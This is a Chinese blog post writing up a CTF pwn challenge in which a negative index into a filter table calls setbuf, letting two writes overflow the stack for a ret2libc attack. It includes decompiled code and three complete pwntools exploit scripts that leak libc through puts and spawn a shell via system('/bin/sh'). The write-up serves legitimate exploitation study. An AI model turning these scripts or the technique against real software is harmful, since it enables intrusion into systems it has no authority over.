基于setbuf的ret2libc

事情的起因还要说到qwb的那道flagmarket,在mis师傅告诉我他是用的setbuf做出来之后我蒙了一下,之前没接触到过,于是决定抽时间看一下这种攻击办法,搜索之后觉得很有趣(当然如果实际遇到了估计不有趣),而且怎么说呢,感觉这一题应用的面比较窄,要在特殊环境下才能使用,先简单阐述一下原理

1、原理

这是setbuf函数

#include <stdio.h> 
void setbuf(FILE *stream, char *buffer);

可以看到接受两个参数

  • stream:指向 FILE 结构的指针,指定要设置缓冲区的流(如 stdinstdout 等)。
  • buffer:指向字符数组的指针,该数组将作为流的缓冲区。若为 NULL,则关闭该流的缓冲(即无缓冲)。
    它是
    这么说有点抽象。简而言之就是由这个函数可以将一个指定打开的文件与一个数组缓冲区绑定,使得在对该文件做修改是同时对这块缓冲区做修改,同时它并不是一次性的,而是连续性的,也就是说第一次写入n个字节,第二次再写入n个字节,最后缓冲区在解除绑定之前会被写入2n字节,欸,也就是说,我们可以在读入有限的情况下,通过对两个本身都不会溢出的地区操作,从而会使一个缓冲区溢出进行各种操作

当然从这段也可以看出来应用条件还是比较窄,但是一旦能够实现,得到的优势也是非常可观的

2、题目

ctfshow的签退
看源码:

int vuln()
{
  int v0; // eax
  FILE *stream; // [esp+Ch] [ebp-53Ch]
  int v3; // [esp+10h] [ebp-538h]
  _BYTE v4[1328]; // [esp+18h] [ebp-530h] BYREF

  v3 = 0;
  memset(v4, 0, 0x528u);
  stream = fopen("/dev/null", "a");
  if ( !stream )
    wrong();
  startcon();
  sleep(2u);
  while ( !v3 )
  {
    choice();
    v0 = inputint();
    if ( v0 == 2 )
    {
      delete((int)v4);
    }
    else if ( v0 > 2 )
    {
      if ( v0 == 3 )
      {
        post((int)v4, stream);
      }
      else if ( v0 == 4 )
      {
        v3 = 1;
      }
    }
    else if ( v0 == 1 )
    {
      add(v4);
    }
  }
  puts("Thank you for using our service :)");
  fclose(stream);
  return 0;
}
int __cdecl add(int a1)
{
  int i; // [esp+Ch] [ebp-Ch]

  for ( i = 0; i <= 4 && *(_DWORD *)(264 * i + a1); ++i )
    ;
  if ( i == 5 )
    return puts("Too many letters :P");
  printf("\nInput your contents: ");
  *(_DWORD *)(264 * i + a1 + 4) = sub_80486D9(264 * i + a1 + 8, 256);
  *(_DWORD *)(264 * i + a1) = 1;
  return puts("\nDone!");
}
int __cdecl delete(int a1)
{
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  puts("\nWhich letter do you want to delete?");
  printf("ID (0-%d): ", 4);
  v2 = inputint();
  if ( v2 > 4 || !*(_DWORD *)(264 * v2 + a1) )
    return puts("Invalid ID.");
  *(_DWORD *)(264 * v2 + a1) = 0;
  *(_DWORD *)(264 * v2 + a1 + 4) = 0;
  memset((void *)(264 * v2 + a1 + 8), 0, 0x100u);
  return puts("\nDone!");
}
int __cdecl post(int a1, FILE *s)
{
  int v3; // [esp+8h] [ebp-10h]
  unsigned int v4; // [esp+Ch] [ebp-Ch]

  puts("\nWhich letter do you want to post?");
  printf("ID (0-%d): ", 4);
  v4 = inputint();
  if ( v4 > 4 || !*(_DWORD *)(264 * v4 + a1) )
    return puts("Invalid ID.");
  puts("\nWhich filter do you want to apply?");
  sub_80488F8();
  v3 = inputint();
  if ( v3 > 2 )
    return puts("Invalid filter.");
  funcs_8048BB5[v3](s, (void *)(264 * v4 + a1 + 8), *(_DWORD *)(264 * v4 + a1 + 4));
  return puts("\nDone!");
}

主要起作用的就是这些,我在IDA中进行了重命名
首先vuln函数起到一个类似选项表单的作用,通过调用add,delete,post函数实现,这个add就是自动将一块缓冲区add一个content,这样的缓冲区有五个,同时为了后面的函数去识别方便,在每次写入时对每个数组前八字节进行了利用(上标记为1和return的值),也就是说每个实际能写入的数组大小为0x100,知道这个之后我们再看post,有个操作是对输入的选项进行匹配到实现函数的数组中

.data:0804B048 funcs_8048BB5   dd offset sub_8048742   ; DATA XREF: post+A2↑r
.data:0804B04C                 dd offset sub_8048770
.data:0804B050                 dd offset sub_80487E2
.data:0804B050 _data           ends
.data:0804B050

这是分别对应实现 No filter、XOR filter、 Reverse filter的操作

size_t __cdecl sub_8048742(FILE *s, void *ptr, size_t n)
{
  size_t v4; // [esp+Ch] [ebp-Ch]

  v4 = fwrite(ptr, 1u, n, s);
  if ( v4 != n )
    wrong();
  return v4;
}

这又是对应No filter也就是不过滤的操作,可以看到与我们之前说的对流和缓冲区的操作非常像,同时注意到post函数并未对数组越界(其实是负数下溢)做检查,那我们就能看到在这个数组溢出的下列其实就是一堆函数的got表

.got.plt:0804B000 off_804B000     dd offset stru_804AF14  ; DATA XREF: _init_proc+9↑o
.got.plt:0804B000                                         ; init+9↑o ...
.got.plt:0804B004 dword_804B004   dd 0                    ; DATA XREF: sub_80484A0↑r
.got.plt:0804B008 dword_804B008   dd 0                    ; DATA XREF: sub_80484A0+6↑r
.got.plt:0804B00C off_804B00C     dd offset setbuf        ; DATA XREF: _setbuf↑r
.got.plt:0804B010 off_804B010     dd offset printf        ; DATA XREF: _printf↑r
.got.plt:0804B014 off_804B014     dd offset _exit         ; DATA XREF: __exit↑r
.got.plt:0804B018 off_804B018     dd offset fgets         ; DATA XREF: _fgets↑r
.got.plt:0804B01C off_804B01C     dd offset fclose        ; DATA XREF: _fclose↑r
.got.plt:0804B020 off_804B020     dd offset sleep         ; DATA XREF: _sleep↑r
.got.plt:0804B024 off_804B024     dd offset fwrite        ; DATA XREF: _fwrite↑r
.got.plt:0804B028 off_804B028     dd offset fread         ; DATA XREF: _fread↑r
.got.plt:0804B02C off_804B02C     dd offset puts          ; DATA XREF: _puts↑r
.got.plt:0804B030 off_804B030     dd offset __libc_start_main
.got.plt:0804B030                                         ; DATA XREF: ___libc_start_main↑r
.got.plt:0804B034 off_804B034     dd offset fopen         ; DATA XREF: _fopen↑r
.got.plt:0804B038 off_804B038     dd offset memset        ; DATA XREF: _memset↑r
.got.plt:0804B03C off_804B03C     dd offset atoi          ; DATA XREF: _atoi↑r
.got.plt:0804B03C _got_plt        ends
.got.plt:0804B03C

这里恰好有setbuf函数,计划通。

其实从上面看到下面可以发现思路似乎非常流畅和自然,也没有什么不好理解的地方,但是实际到比赛,光是注意到可以有数组越界和setbuf函数以及对他们进行操作实现ret2libc是一个非常难的问题,因为函数比较多也比较复杂,

可以看到找到思路就是这一题最难的部分,其实后面的调试都比较简单,那么我们先add满这个数组,对一个和第二个数组写payload,因为第五个数组距离栈底最近,我们可以用这个栈溢出,一个数组大小0x108,加上ebp就是0x10c,同时一个数组最多写0x100,我们post出去的也是0x100,第一个填充满0x100垃圾数据,第二个填充0xc的数据,然后去写常规ret2libc(用puts泄露就可以),然后退出(这个注意,有个细节),然后重复最后执行systembinsh即可

3、具体做法

首先写第一次payload:
b'a'*0x10c+p32(puts_plt)+p32(main)+p32(puts_got)
主要对应add5次,post4到-15(第五个数组作为setbuf的参数),然后post0、1到0执行fwrite进题目fopen的文件a中,在执行setbuf时就会将payload写入
在调试时发现栈溢出时要多溢出一个字节才行

from pwn import *
#setbuf
context.log_level='debug'
p=process('./pwn')
elf=ELF('./pwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
#print(hex(elf.got['setbuf']))
main=0x08048bd0
gdb.attach(p)
pause()

def add(content):
    p.sendlineafter('>', b'1')
    p.sendlineafter(':', content)

def delete(index):
    p.sendlineafter('>', b'2')
    p.sendlineafter(':', str(index).encode())

def post(index, filter):
    p.sendlineafter('>', b'3')
    p.sendlineafter(':', str(index).encode())
    p.sendlineafter('>', str(filter).encode())

def quit():
    p.sendlineafter('>', b'4')
    
p.recvuntil(b'4. Quit')

payload0 = b'a' * 0x100
add(payload0)
payload1 = b'a' * 0xc + p32(puts_plt) + p32(main) + p32(puts_got) 
add(payload1)
add('\x00')
add('\x00')
add('\x00')
post(4,-15)
post(0,0)
post(1,0)
pause()
p.interactive()

2025下半年学习/attachments/Pasted image 20251022165956.png

可以看到ebo+4处是0xd0080485,我们希望的是0x8048530

所以在后面还要加一个字节,然后关于这个qiut的事,因为这个程序有一个while的循环,在循环终止之前它一定会jump到一个local重新执行,要想成功栈溢出就必须要leaveret,因此在这里还是要退出。
然后后面就是很寻常的leaklibc然后ret2libc了
最终exp(个人简陋版,因为当时没写函数):

from pwn import *
from LibcSearcher import LibcSearcher
#setbuf
context.log_level='debug'
p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
#print(hex(elf.got['setbuf']))
main=0x08048bd0
#gdb.attach(p)
#pause()

#leak libc
p.recvuntil(b'4. Quit')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'a'*0x100)	#0
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
payload=b'a'*0xc+b'0'+p32(puts_plt)+p32(main)+p32(puts_got)
p.sendline(payload)	#1
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'\x00')	#2
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'\x00')	#3
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'\x00')	#4
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'ID (0-4): ')
p.sendline(b'4')
p.recvuntil(b'> ')
p.sendline(b'-15')
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'ID (0-4): ')
p.sendline(b'0')
p.recvuntil(b'> ')
p.sendline(b'0')
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'ID (0-4): ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(b'0')
p.recvuntil(b'> ')
p.sendline(b'4')
#pause()
p.recvuntil(b':)')
puts=u32(p.recvuntil(b'\xf7')[-4:])
libc = LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
success(f"system->0x{system:x}")

# again
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'a'*0x100)	#0
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
payload=b'a'*0xc+b'0'+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)	#1
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'\x00')	#2
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'\x00')	#3
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'\x00')	#4
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'ID (0-4): ')
p.sendline(b'4')
p.recvuntil(b'> ')
p.sendline(b'-15')
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'ID (0-4): ')
p.sendline(b'0')
p.recvuntil(b'> ')
p.sendline(b'0')
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'ID (0-4): ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(b'0')
p.recvuntil(b'> ')
p.sendline(b'4')

#pause()
p.interactive()

还有参考了一个大佬的exp(包括文章思路也是复现的他)

from pwn import *
from LibcSearcher import LibcSearcher
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

def add(content):
    sh.sendlineafter('>', b'1')
    sh.sendafter(':', content)

def delete(index):
    sh.sendlineafter('>', b'2')
    sh.sendlineafter(':', str(index).encode())

def post(index, filter):
    sh.sendlineafter('>', b'3')
    sh.sendlineafter(':', str(index).encode())
    sh.sendlineafter('>', str(filter).encode())

def quit():
    sh.sendlineafter('>', b'4')

elf = ELF('./pwn')
#sh = remote('pwn.challenge.ctf.show', 0)
sh = process('./pwn')
filter_list = 0x0804b048
got_setbuf = elf.got['setbuf']

plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
main = 0x08048bd0

# 把所有POST都申请出来
payload0 = b'0' * 0x100
add(payload0)
payload1 = b'0' * 9 + p32(0) + p32(plt_puts) + p32(main) + p32(got_puts) + b'\n'
add(payload1)
add('2222\n')
add('3333\n')
add('4444\n')

setbuf_index = int((got_setbuf - filter_list) / 4)
# 将letter4绑定到fd上
post(4, setbuf_index)
post(0, 0)
post(1, 0)
quit()
a = sh.recvline()
print(a)
global_puts = u32(sh.recv(4))
print("++++++++++++++++puts: ", hex(global_puts))
# 计算libc的基址
libc = LibcSearcher('puts',global_puts)
libc_base = global_puts - libc.dump('puts')
# 计算system("/bin/sh")所需的地址
global_system = libc_base + libc.dump('system')
global_binsh = libc_base + libc.dump('str_bin_sh')

# 重新来一遍
payload0 = b'0' * 0x100
add(payload0)
payload1 = b'0' * 13 + p32(global_system) + p32(global_binsh) * 4 + b'\n'
add(payload1)
add('2222\n')
add('3333\n')
add('4444\n')

setbuf_index = int((got_setbuf - filter_list) / 4)
post(4, setbuf_index)
post(0, 0)
post(1, 0)
quit()

sh.interactive()

getshell拿flag

posted @ 2025-10-22 17:09  w0e6x  阅读(7)  评论(0)    收藏  举报